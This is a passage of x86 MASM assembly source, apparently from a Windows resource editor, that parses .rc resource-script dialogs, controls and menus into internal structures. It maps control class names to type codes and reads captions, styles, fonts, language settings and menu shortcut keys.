mov [edi].DIALOG.hwnd,TRUE
;Tab
mov eax,nTab
mov [edi].DIALOG.tab,eax
;Caption
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpyn,addr [edi].DIALOG.caption,offset wordbuff,sizeof DIALOG.caption
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke GetName,lpProMem,offset wordbuff,addr [edi].DIALOG.idname,addr [edi].DIALOG.id
;Class
invoke GetWord,offset namebuff,esi
add esi,eax
invoke UnQuoteWord,offset namebuff
;Style
invoke GetStyle,esi,0,TRUE
add esi,eax
mov [edi].DIALOG.style,edx
;Pos & Size
invoke GetNum,lpProMem
mov [edi].DIALOG.dux,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duy,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duccx,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duccy,eax
movzx eax,byte ptr [esi]
.if eax!=0Dh
;ExStyle
invoke GetStyle,esi,offset rsexstyledef,TRUE
add esi,eax
mov [edi].DIALOG.exstyle,edx
movzx eax,byte ptr [esi]
.if eax!=0Dh
;HelpID
invoke GetNum,lpProMem
.else
xor eax,eax
.endif
mov [edi].DIALOG.helpid,eax
.endif
invoke strcmpi,offset namebuff,offset szEditClass
.if !eax
;Edit
mov [edi].DIALOG.ntype,1
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szStaticClass
.if !eax
;Static
mov eax,[edi].DIALOG.style
and eax,SS_TYPEMASK
.if eax==SS_ICON || eax==SS_BITMAP
;Image
mov [edi].DIALOG.ntype,17
.elseif (eax>=SS_BLACKRECT && eax<=SS_WHITEFRAME) || (eax>=SS_ETCHEDHORZ && eax<=SS_ETCHEDFRAME) || eax==SS_OWNERDRAW
;Shape
mov [edi].DIALOG.ntype,25
.else
;Static
mov [edi].DIALOG.ntype,2
.endif
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szButtonClass
.if !eax
;Button
mov eax,[edi].DIALOG.style
and eax,0Fh
mov edx,4
.if eax==BS_GROUPBOX
mov edx,3
.elseif eax==BS_AUTOCHECKBOX || eax==BS_CHECKBOX || eax==BS_AUTO3STATE || eax==BS_3STATE
mov edx,5
.elseif eax==BS_AUTORADIOBUTTON || eax==BS_RADIOBUTTON
mov edx,6
.endif
mov [edi].DIALOG.ntype,edx
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szComboBoxClass
.if !eax
;ComboBox
mov [edi].DIALOG.ntype,7
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szListBoxClass
.if !eax
;ListBox
mov [edi].DIALOG.ntype,8
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szScrollBarClass
.if !eax
;ScrollBar
mov edx,[edi].DIALOG.style
and edx,SBS_VERT
add edx,9
mov [edi].DIALOG.ntype,edx
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szTabControlClass
.if !eax
;TabControl
mov [edi].DIALOG.ntype,11
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szProgressBarClass
.if !eax
;ProgressBar
mov [edi].DIALOG.ntype,12
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szTreeViewClass
.if !eax
;TreeView
mov [edi].DIALOG.ntype,13
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szListViewClass
.if !eax
;ListView
mov [edi].DIALOG.ntype,14
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szTrackBarClass
.if !eax
;TrackBar
mov [edi].DIALOG.ntype,15
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szUpDownClass
.if !eax
;UpDown
mov [edi].DIALOG.ntype,16
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szToolBarClass
.if !eax
;ToolBar
mov [edi].DIALOG.ntype,18
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szStatusBarClass
.if !eax
;StatusBar
mov [edi].DIALOG.ntype,19
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szDateTimeClass
.if !eax
;DateTime
mov [edi].DIALOG.ntype,20
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szMonthViewClass
.if !eax
;MonthView
mov [edi].DIALOG.ntype,21
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szRichEditClass
.if !eax
;RichEdit
mov [edi].DIALOG.ntype,22
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szComboBoxExClass
.if !eax
;ComboBoxEx
mov [edi].DIALOG.ntype,24
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szIPAddressClass
.if !eax
;IPAddress
mov [edi].DIALOG.ntype,26
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szAnimateClass
.if !eax
;AnimateControl
mov [edi].DIALOG.ntype,27
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szHotKeyClass
.if !eax
;HotKey
mov [edi].DIALOG.ntype,28
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szPagerClass
.if !eax
;PagerControl
mov edx,[edi].DIALOG.style
and edx,PGS_HORZ
neg edx
add edx,30
mov [edi].DIALOG.ntype,edx
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szReBarClass
.if !eax
;ReBar
mov [edi].DIALOG.ntype,31
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szHeaderClass
.if !eax
;Header
mov [edi].DIALOG.ntype,32
jmp Ex
.endif
invoke strcmpi,offset namebuff,offset szSysLinkClass
.if !eax
;SysLink
mov [edi].DIALOG.ntype,33
jmp Ex
.endif
mov ebx,offset custtypes
.while [ebx].TYPES.ID
invoke strcmpi,offset namebuff,[ebx].TYPES.lpclass
.if !eax
;Custom control
mov eax,[ebx].TYPES.ID
mov [edi].DIALOG.ntypeid,eax
mov eax,ebx
sub eax,offset custtypes
mov ecx,sizeof TYPES
xor edx,edx
div ecx
add eax,NoOfButtons
mov [edi].DIALOG.ntype,eax
jmp Ex
.endif
add ebx,sizeof TYPES
.endw
;UserControl
;Copy class
invoke strcpy,addr [edi].DIALOG.class,offset namebuff
mov [edi].DIALOG.ntype,23
jmp Ex
Ex:
mov eax,esi
sub eax,lpRCMem
ret
ParseControl endp
ParseControlType proc uses esi edi,nType:DWORD,nStyle:DWORD,nExStyle:DWORD,lpRCMem:DWORD,lpDlgMem:DWORD,nTab:DWORD,lpProMem:DWORD
mov esi,lpRCMem
mov edi,lpDlgMem
;Flag handle
mov [edi].DIALOG.hwnd,TRUE
;Tab
mov eax,nTab
mov [edi].DIALOG.tab,eax
;Type
mov eax,nType
mov [edi].DIALOG.ntype,eax
;Style
mov eax,nStyle
or eax,WS_CHILD or WS_VISIBLE
mov [edi].DIALOG.style,eax
mov eax,nExStyle
mov [edi].DIALOG.exstyle,eax
.if byte ptr [esi]=='"'
;Caption
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpyn,addr [edi].DIALOG.caption,offset wordbuff,sizeof DIALOG.caption
.elseif nType==17
;ICON
invoke GetWord,offset wordbuff,esi
add esi,eax
lea eax,[edi].DIALOG.caption
invoke strcpyn,addr [edi].DIALOG.caption,offset wordbuff,sizeof DIALOG.caption
.endif
;Name / ID
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke GetName,lpProMem,offset wordbuff,addr [edi].DIALOG.idname,addr [edi].DIALOG.id
;Pos & Size
invoke GetNum,lpProMem
mov [edi].DIALOG.dux,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duy,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duccx,eax
invoke GetNum,lpProMem
mov [edi].DIALOG.duccy,eax
movzx eax,byte ptr [esi]
.if eax!=0Dh
;Style
invoke GetStyle,esi,0,TRUE
add esi,eax
or [edi].DIALOG.style,edx
movzx eax,byte ptr [esi]
.if eax!=0Dh
;ExStyle
invoke GetStyle,esi,offset rsexstyledef,TRUE
add esi,eax
or [edi].DIALOG.exstyle,edx
.endif
movzx eax,byte ptr [esi]
.if eax!=0Dh
;HelpID
invoke GetNum,lpProMem
.else
xor eax,eax
.endif
mov [edi+sizeof DLGHEAD].DIALOG.helpid,eax
.endif
mov eax,[edi].DIALOG.style
and eax,SBS_VERT
.if nType==9 && eax==SBS_VERT
mov [edi].DIALOG.ntype,10
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseControlType endp
ParseControls proc lpProMem:DWORD
LOCAL nTab:DWORD
mov nTab,-1
lea edi,[edi+sizeof DLGHEAD]
xor eax,eax
Nxt:
add esi,eax
add edi,sizeof DIALOG
inc nTab
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szCONTROL
.if !eax
invoke ParseControl,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szEDITTEXT
.if !eax
invoke ParseControlType,1,ES_LEFT or WS_TABSTOP,WS_EX_CLIENTEDGE,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szLTEXT
.if !eax
invoke ParseControlType,2,SS_LEFT or WS_GROUP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szCTEXT
.if !eax
invoke ParseControlType,2,SS_CENTER or WS_GROUP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szRTEXT
.if !eax
invoke ParseControlType,2,SS_RIGHT or WS_GROUP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szICON
.if !eax
invoke ParseControlType,17,SS_ICON or SS_CENTERIMAGE,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szGROUPBOX
.if !eax
invoke ParseControlType,3,BS_GROUPBOX,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szPUSHBUTTON
.if !eax
invoke ParseControlType,4,BS_PUSHBUTTON or WS_TABSTOP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szDEFPUSHBUTTON
.if !eax
invoke ParseControlType,4,BS_DEFPUSHBUTTON or WS_TABSTOP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szAUTOCHECKBOX
.if !eax
invoke ParseControlType,5,BS_AUTOCHECKBOX or WS_TABSTOP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szAUTORADIOBUTTON
.if !eax
invoke ParseControlType,6,BS_AUTORADIOBUTTON or WS_TABSTOP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szCOMBOBOX
.if !eax
invoke ParseControlType,7,CBS_SIMPLE or WS_TABSTOP,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szLISTBOX
.if !eax
invoke ParseControlType,8,LBS_NOTIFY,WS_EX_CLIENTEDGE,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szSCROLLBAR
.if !eax
invoke ParseControlType,9,SBS_HORZ,0,esi,edi,nTab,lpProMem
jmp Nxt
.endif
invoke strcmpi,offset wordbuff,offset szENDSHORT
or eax,eax
je Ex
invoke strcmpi,offset wordbuff,offset szEND
or eax,eax
jne @b
Ex:
ret
ParseControls endp
ParseDialogEx proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL hMem:DWORD
invoke AddTypeMem,lpProMem,MaxMem,TPE_DIALOG
mov hMem,eax
mov edi,eax
mov [edi+sizeof DLGHEAD].DIALOG.hwnd,TRUE
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi+sizeof DLGHEAD].DIALOG.idname,addr [edi+sizeof DLGHEAD].DIALOG.id
.if eax
inc eax
.else
mov eax,1001
.endif
mov [edi].DLGHEAD.ctlid,eax
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.dux,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duy,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duccx,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duccy,eax
xor eax,eax
.if dl==','
;HelpID
invoke GetNum,lpProMem
.endif
mov [edi+sizeof DLGHEAD].DIALOG.helpid,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov [edi].DLGHEAD.lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov [edi].DLGHEAD.sublang,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szCAPTION
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpyn,addr [edi+sizeof DLGHEAD].DIALOG.caption,offset wordbuff,sizeof DIALOG.caption
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFONT
.if !eax
invoke GetNum,lpProMem
mov [edi].DLGHEAD.fontsize,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpy,addr [edi].DLGHEAD.font,offset wordbuff
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Weight
invoke GetNum,lpProMem
mov [edi].DLGHEAD.weight,ax
.endif
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Italic
invoke GetNum,lpProMem
mov [edi].DLGHEAD.italic,al
.endif
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Charset
invoke GetNum,lpProMem
mov [edi].DLGHEAD.charset,al
.endif
.while byte ptr [esi] && byte ptr [esi]!=0Dh
invoke GetWord,offset wordbuff,esi
add esi,eax
.endw
mov eax,[edi].DLGHEAD.fontsize
mov dlgps,ax
invoke ConvFontToUnicode,offset dlgfn,addr [edi].DLGHEAD.font
invoke CreateDialogIndirectParam,hInstance,offset dlgdata,hDEd,offset TestProc,0
invoke DestroyWindow,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szMENU
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcpy,addr [edi].DLGHEAD.menuid,offset wordbuff
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szCLASS
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpy,addr [edi].DLGHEAD.class,offset wordbuff
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szSTYLE
.if !eax
invoke GetStyle,esi,0,TRUE
add esi,eax
mov [edi+sizeof DLGHEAD].DIALOG.style,edx
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szEXSTYLE
.if !eax
invoke GetStyle,esi,offset rsexstyledef,TRUE
add esi,eax
mov [edi+sizeof DLGHEAD].DIALOG.exstyle,edx
jmp @b
.endif
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
invoke ParseControls,lpProMem
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseDialogEx endp
ParseDialog proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL hMem:DWORD
LOCAL nPixy:DWORD
invoke AddTypeMem,lpProMem,MaxMem,TPE_DIALOG
mov hMem,eax
mov edi,eax
mov [edi+sizeof DLGHEAD].DIALOG.hwnd,TRUE
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi+sizeof DLGHEAD].DIALOG.idname,addr [edi+sizeof DLGHEAD].DIALOG.id
.if eax
inc eax
.else
mov eax,1001
.endif
mov [edi].DLGHEAD.ctlid,eax
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.dux,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duy,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duccx,eax
invoke GetNum,lpProMem
mov [edi+sizeof DLGHEAD].DIALOG.duccy,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov [edi].DLGHEAD.lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov [edi].DLGHEAD.sublang,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szCAPTION
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpyn,addr [edi+sizeof DLGHEAD].DIALOG.caption,offset wordbuff,sizeof DIALOG.caption
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szMENU
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcpy,addr [edi].DLGHEAD.menuid,offset wordbuff
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szCLASS
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpy,addr [edi].DLGHEAD.class,offset wordbuff
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szSTYLE
.if !eax
invoke GetStyle,esi,0,TRUE
add esi,eax
mov [edi+sizeof DLGHEAD].DIALOG.style,edx
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szEXSTYLE
.if !eax
invoke GetStyle,esi,offset rsexstyledef,TRUE
add esi,eax
mov [edi+sizeof DLGHEAD].DIALOG.exstyle,edx
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFONT
.if !eax
invoke GetDC,NULL
push eax
invoke GetDeviceCaps,eax,LOGPIXELSY
mov nPixy,eax
pop edx
push eax
invoke ReleaseDC,NULL,edx
invoke GetNum,lpProMem
mov [edi].DLGHEAD.fontsize,eax
pop edx
mul edx
mov ecx,72
div ecx
neg eax
; mov [edi].DLGHEAD.fontht,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpy,addr [edi].DLGHEAD.font,offset wordbuff
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Weight
invoke GetNum,lpProMem
mov [edi].DLGHEAD.weight,ax
.endif
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Italic
invoke GetNum,lpProMem
mov [edi].DLGHEAD.italic,al
.endif
.if byte ptr [esi] && byte ptr [esi]!=0Dh
;Charset
invoke GetNum,lpProMem
mov [edi].DLGHEAD.charset,al
.endif
.while byte ptr [esi] && byte ptr [esi]!=0Dh
invoke GetWord,offset wordbuff,esi
add esi,eax
.endw
jmp @b
.endif
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
invoke ParseControls,lpProMem
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseDialog endp
ParseMenu proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL nNest:DWORD
LOCAL hMem:DWORD
invoke AddTypeMem,lpProMem,MaxMem,TPE_MENU
mov hMem,eax
mov edi,eax
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi].MNUHEAD.menuname,addr [edi].MNUHEAD.menuid
mov eax,[edi].MNUHEAD.menuid
inc eax
mov [edi].MNUHEAD.startid,eax
mov [edi].MNUHEAD.menuex,FALSE
mov nNest,0
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov [edi].MNUHEAD.lang.lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov [edi].MNUHEAD.lang.sublang,eax
jmp @b
.endif
sub esi,ebx
add edi,sizeof MNUHEAD
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
inc nNest
jmp @b
.endif
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szPOPUP
.if !eax
mov [edi].MNUITEM.itemflag,TRUE
mov eax,nNest
dec eax
mov [edi].MNUITEM.level,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcpyn,addr [edi].MNUITEM.itemcaption,offset wordbuff,sizeof MNUITEM.itemcaption
Call SetOptions
add edi,sizeof MNUITEM
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szMENUITEM
.if !eax
mov [edi].MNUITEM.itemflag,TRUE
mov eax,nNest
dec eax
mov [edi].MNUITEM.level,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szSEPARATOR
.if eax
invoke strcmpi,offset wordbuff,offset szMFT_SEPARATOR
.endif
.if !eax
mov word ptr [edi].MNUITEM.itemcaption,'-'
add edi,sizeof MNUITEM
jmp @b
.endif
invoke UnQuoteWord,offset wordbuff
mov ebx,offset wordbuff
.while word ptr [ebx]!='t\' && byte ptr [ebx]
inc ebx
.endw
.if word ptr [ebx]=='t\'
push ebx
add ebx,2
NxtKey:
xor eax,eax
.if dword ptr [ebx]=='fihS'
add ebx,6
or [edi].MNUITEM.shortcut,100h
jmp NxtKey
.elseif dword ptr [ebx]=='lrtC'
add ebx,5
or [edi].MNUITEM.shortcut,200h
jmp NxtKey
.elseif dword ptr [ebx]=='+tlA'
add ebx,4
or [edi].MNUITEM.shortcut,400h
jmp NxtKey
.elseif word ptr [ebx]>='A' && word ptr [ebx]<='Z' || word ptr [ebx]>='0' && word ptr [ebx]<='9' ; *** MOD add 0...9
movzx eax,byte ptr [ebx]
or [edi].MNUITEM.shortcut,eax
.elseif dword ptr [ebx]=='hgiR'
or [edi].MNUITEM.shortcut,800h or VK_RIGHT
.elseif byte ptr [ebx]=='F'
invoke ResEdDecToBin,addr [ebx+1]
add eax,6Fh
or [edi].MNUITEM.shortcut,eax
.endif
pop ebx
.if eax
mov byte ptr [ebx],0
.else
mov [edi].MNUITEM.shortcut,eax
.endif
.endif
invoke strcpyn,addr [edi].MNUITEM.itemcaption,offset wordbuff,sizeof MNUITEM.itemcaption
invoke GetWord,offset wordbuff,esi
add esi,eax
;Name / ID
invoke GetName,lpProMem,offset wordbuff,addr [edi].MNUITEM.itemname,addr [edi].MNUITEM.itemid
Call SetOptions
add edi,sizeof MNUITEM
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if !eax
dec nNest
je Ex
jmp @b
.endif
Ex:
mov eax,esi
sub eax,lpRCMem
ret
SetOptions:
xor ebx,ebx
.while byte ptr [esi] && byte ptr [esi]!=0Dh
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szCHECKED
.if !eax
or ebx,MFS_CHECKED
.endif
invoke strcmpi,offset wordbuff,offset szGRAYED
.if !eax
or ebx,MFS_GRAYED
.endif
invoke strcmpi,offset wordbuff,offset szINACTIVE
.if !eax
.endif
invoke strcmpi,offset wordbuff,offset szMENUBARBREAK
.if !eax
.endif
invoke strcmpi,offset wordbuff,offset szMENUBREAK
.if !eax
.endif
invoke strcmpi,offset wordbuff,offset szHELP
.if !eax
or [edi].MNUITEM.ntype,MFT_RIGHTJUSTIFY
.endif
.endw
mov [edi].MNUITEM.nstate,ebx
retn
ParseMenu endp
ParseMenuEx proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL nNest:DWORD
LOCAL hMem:DWORD
LOCAL fPopUp:DWORD
invoke AddTypeMem,lpProMem,MaxMem,TPE_MENU
mov hMem,eax
mov edi,eax
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi].MNUHEAD.menuname,addr [edi].MNUHEAD.menuid
mov eax,[edi].MNUHEAD.menuid
inc eax
mov [edi].MNUHEAD.startid,eax
mov [edi].MNUHEAD.menuex,TRUE
mov nNest,0
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov [edi].MNUHEAD.lang.lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov [edi].MNUHEAD.lang.sublang,eax
jmp @b
.endif
sub esi,ebx
add edi,sizeof MNUHEAD
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
inc nNest
jmp @b
.endif
invoke ParseDefsSkip
or eax,eax
je @b
mov fPopUp,FALSE
invoke strcmpi,offset wordbuff,offset szMENUITEM
.if eax
invoke strcmpi,offset wordbuff,offset szPOPUP
.if !eax
mov fPopUp,TRUE
.endif
.endif
.if !eax
mov [edi].MNUITEM.itemflag,TRUE
mov eax,nNest
dec eax
mov [edi].MNUITEM.level,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szMFT_SEPARATOR
.if !eax
mov word ptr [edi].MNUITEM.itemcaption,'-'
add edi,sizeof MNUITEM
jmp @b
.endif
invoke UnQuoteWord,offset wordbuff
mov ebx,offset wordbuff
.while word ptr [ebx]!='t\' && byte ptr [ebx]
inc ebx
.endw
.if word ptr [ebx]=='t\'
push ebx
add ebx,2
NxtKey:
xor eax,eax
.if dword ptr [ebx]=='fihS'
add ebx,6
or [edi].MNUITEM.shortcut,100h
jmp NxtKey
.elseif dword ptr [ebx]=='lrtC'
add ebx,5
or [edi].MNUITEM.shortcut,200h
jmp NxtKey
.elseif dword ptr [ebx]=='+tlA'
add ebx,4
or [edi].MNUITEM.shortcut,400h
jmp NxtKey
.elseif word ptr [ebx]>='A' && word ptr [ebx]<='Z' || word ptr [ebx]>='0' && word ptr [ebx]<='9' ; *** MOD add 0...9
movzx eax,byte ptr [ebx]
or [edi].MNUITEM.shortcut,eax
.elseif byte ptr [ebx]=='F'
invoke ResEdDecToBin,addr [ebx+1]
add eax,6Fh
or [edi].MNUITEM.shortcut,eax
.endif
pop ebx
.if eax
mov byte ptr [ebx],0
.else
mov [edi].MNUITEM.shortcut,eax
.endif
.endif
invoke strcpyn,addr [edi].MNUITEM.itemcaption,offset wordbuff,sizeof MNUITEM.itemcaption
.if byte ptr [esi] && byte ptr [esi]!=0Dh
invoke GetWord,offset wordbuff,esi
mov ecx,eax
invoke IsBegin,offset wordbuff
or eax,eax
jz NxtBegin
invoke IsEnd,offset wordbuff
or eax,eax
jz NxtEnd
add esi,ecx
;Name / ID
invoke GetName,lpProMem,offset wordbuff,addr [edi].MNUITEM.itemname,addr [edi].MNUITEM.itemid
Call SetOptions
.endif
NxtBegin:
add edi,sizeof MNUITEM
